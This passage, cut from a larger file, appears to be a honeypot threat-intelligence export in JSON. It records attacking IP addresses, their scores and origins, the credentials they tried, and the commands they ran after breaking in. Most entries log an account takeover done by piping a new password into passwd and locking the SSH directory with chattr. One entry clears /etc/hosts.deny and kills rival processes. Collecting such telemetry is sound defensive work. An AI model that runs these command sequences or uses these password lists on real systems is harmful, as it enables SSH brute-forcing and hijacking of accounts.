        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "42.96.13.133": {
      "attack_count": 144,
      "first_seen": "2026-03-22T20:16:51.508Z",
      "last_seen": "2026-03-22T20:52:56.127Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "superv",
        "345gs5662d34",
        "benjamin",
        "daemon",
        "dell",
        "dockeradmin",
        "iptv",
        "john",
        "jorge",
        "kibana",
        "maarch",
        "peertube",
        "ralph",
        "vsftp"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCD123123",
        "Aa.123456789",
        "Daemon",
        "Dell123!",
        "Kibana123!",
        "dockeradminpassword",
        "iptv@123456",
        "johnpassword",
        "password",
        "supervsuperv",
        "vsftp@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"supervsuperv\\neFD4fymCRVJ3\\neFD4fymCRVJ3\\n\"|passwd",
        "echo -e \"supervsuperv\\neFD4fymCRVJ3\\neFD4fymCRVJ3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135967,
      "as_org": "Bach Kim Network solutions Join stock company",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T20:16:51.508000+00:00",
        "last_seen_30d": "2026-03-22T20:54:04.006000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "137.74.46.5": {
      "attack_count": 124,
      "first_seen": "2026-03-11T14:29:29.498Z",
      "last_seen": "2026-03-11T14:48:58.756Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "waf",
        "345gs5662d34",
        "bell",
        "dell",
        "don",
        "michele",
        "n8n",
        "ts1",
        "yann"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "123qweQWE!",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345678.",
        "Abcd@1234",
        "Yann123",
        "bellpass",
        "don123!",
        "n8n",
        "waf1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"waf1234\\n4GHqRNmTSMtJ\\n4GHqRNmTSMtJ\\n\"|passwd",
        "echo -e \"waf1234\\n4GHqRNmTSMtJ\\n4GHqRNmTSMtJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:29:29.498000+00:00",
        "last_seen_30d": "2026-03-11T14:49:59.531000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "206.189.58.8": {
      "attack_count": 124,
      "first_seen": "2026-03-10T07:57:49.854Z",
      "last_seen": "2026-03-10T08:19:38.090Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "work",
        "345gs5662d34",
        "awsuser",
        "clawd",
        "hanul",
        "hduser",
        "mostafa",
        "root",
        "stream",
        "test101",
        "thomas",
        "yujie"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Wy123456@",
        "hanul",
        "hduser123",
        "mostafa1234",
        "root",
        "thomaspass",
        "yujiepass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root\\nDgpydY9YTJTZ\\nDgpydY9YTJTZ\\n\"|passwd",
        "echo -e \"root\\nDgpydY9YTJTZ\\nDgpydY9YTJTZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:57:49.854000+00:00",
        "last_seen_30d": "2026-03-10T08:20:43.663000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "76.79.213.69": {
      "attack_count": 119,
      "first_seen": "2026-03-08T03:14:01.668Z",
      "last_seen": "2026-03-08T03:35:10.606Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "khalil",
        "root",
        "345gs5662d34",
        "admin",
        "api",
        "pzserver",
        "sabrina",
        "sandro",
        "usuario1",
        "vbox"
      ],
      "passwords_attempted": [
        "12345678",
        "1234",
        "12345",
        "1q2w3e4r@",
        "3245gs5662d34",
        "345gs5662d34",
        "Pzserver123",
        "Vbox123!",
        "azerty123",
        "khalil",
        "sandro123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"khalil\\njU52JdAtylg0\\njU52JdAtylg0\\n\"|passwd",
        "echo -e \"khalil\\njU52JdAtylg0\\njU52JdAtylg0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:14:01.668000+00:00",
        "last_seen_30d": "2026-03-08T03:36:11.235000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "104.252.127.165": {
      "attack_count": 104,
      "first_seen": "2026-03-24T08:54:37.304Z",
      "last_seen": "2026-03-24T09:18:33.105Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "user05",
        "345gs5662d34",
        "awsuser",
        "c",
        "deploy",
        "pengbo",
        "rootuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Password@123",
        "ab123456",
        "pengbo1234",
        "rootuser123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nmi1ue4AmkNfq\\nmi1ue4AmkNfq\\n\"|passwd",
        "echo -e \"12345678\\nmi1ue4AmkNfq\\nmi1ue4AmkNfq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T08:54:37.304000+00:00",
        "last_seen_30d": "2026-03-24T09:19:43.099000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 22
      }
    },
    "45.153.34.226": {
      "attack_count": 103,
      "first_seen": "2026-03-03T17:15:17.066Z",
      "last_seen": "2026-03-15T22:39:54.957Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "squid",
        "administrator",
        "ks",
        "orangepi",
        "router",
        "tools",
        "user3"
      ],
      "passwords_attempted": [
        "1234",
        "squid",
        "",
        "!QAZ2was",
        "0123",
        "12345678",
        "1qaz@WSX",
        "NSSpassword1",
        "admin!@#",
        "anthony",
        "ks",
        "orangepi",
        "p@ssword123",
        "public",
        "tools",
        "vizxv"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 29,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T17:08:19+00:00",
        "last_seen_30d": "2026-03-31T06:31:38.576000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 447,
        "Cowrie": 103,
        "Honeytrap": 100
      }
    },
    "174.138.12.39": {
      "attack_count": 100,
      "first_seen": "2026-03-10T22:20:48.921Z",
      "last_seen": "2026-03-10T22:41:13.676Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "git",
        "hadoop",
        "oracle",
        "postgres",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "deploy",
        "git",
        "hadoop",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root",
        "root123",
        "root321",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:20:48.921000+00:00",
        "last_seen_30d": "2026-03-10T22:42:22.403000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 43
      }
    },
    "152.67.110.201": {
      "attack_count": 98,
      "first_seen": "2026-03-02T06:01:14.980Z",
      "last_seen": "2026-03-02T06:36:26.114Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1231",
        "345gs5662d34",
        "AA666666",
        "Aa@2025",
        "Admin123456!",
        "a1231230",
        "google",
        "zxcv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:B090t3G1TG50\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Bungarribee",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:01:14.980000+00:00",
        "last_seen_30d": "2026-03-02T06:37:31.185000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 20
      }
    },
    "37.110.113.113": {
      "attack_count": 94,
      "first_seen": "2026-03-26T17:11:51.675Z",
      "last_seen": "2026-03-26T17:22:41.551Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "k8s",
        "345gs5662d34",
        "app",
        "dockeradmin",
        "ravi",
        "simone"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "app123",
        "simone123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nlSokqUXQVz40\\nlSokqUXQVz40\\n\"|passwd",
        "echo -e \"12345\\nlSokqUXQVz40\\nlSokqUXQVz40\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:11:51.675000+00:00",
        "last_seen_30d": "2026-03-26T17:23:50.740000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "5.75.203.128": {
      "attack_count": 94,
      "first_seen": "2026-03-26T18:44:56.092Z",
      "last_seen": "2026-03-26T19:13:11.179Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "pzuser",
        "root",
        "345gs5662d34",
        "roman",
        "student5"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123+",
        "Zxcvbnm123",
        "roman123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nXkygVn4s4Snd\\nXkygVn4s4Snd\\n\"|passwd",
        "echo -e \"123456\\nXkygVn4s4Snd\\nXkygVn4s4Snd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:44:56.092000+00:00",
        "last_seen_30d": "2026-03-26T19:14:11.830000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "202.61.136.131": {
      "attack_count": 91,
      "first_seen": "2026-03-03T06:34:11.597Z",
      "last_seen": "2026-03-03T07:04:36.513Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "8128",
        "A11223344",
        "Bingo@1993",
        "Qwerty123@",
        "Test123.",
        "admin123789",
        "admin3",
        "admini",
        "asdfghjkl;'",
        "horror",
        "lin123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:34:11.597000+00:00",
        "last_seen_30d": "2026-03-03T07:05:36.759000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 36
      }
    },
    "165.22.112.49": {
      "attack_count": 84,
      "first_seen": "2026-03-10T03:30:27.974Z",
      "last_seen": "2026-03-10T03:45:03.434Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "admin123",
        "password1",
        "123abc",
        "1q2w3e4r",
        "pass123",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T03:30:27.974000+00:00",
        "last_seen_30d": "2026-03-10T03:46:06.128000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 36
      }
    },
    "154.83.196.237": {
      "attack_count": 79,
      "first_seen": "2026-03-09T15:56:59.825Z",
      "last_seen": "2026-03-09T21:26:22.396Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "devman",
        "345gs5662d34",
        "one"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "One123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nWzONKUtBcCDK\\nWzONKUtBcCDK\\n\"|passwd",
        "echo -e \"12345678\\nWzONKUtBcCDK\\nWzONKUtBcCDK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:56:59.825000+00:00",
        "last_seen_30d": "2026-03-09T21:27:26.900000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 10
      }
    },
    "165.22.252.25": {
      "attack_count": 70,
      "first_seen": "2026-03-05T23:04:31.512Z",
      "last_seen": "2026-03-05T23:20:17.549Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T23:04:31.512000+00:00",
        "last_seen_30d": "2026-03-05T23:21:19.342000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 30
      }
    },
    "172.94.9.153": {
      "attack_count": 38,
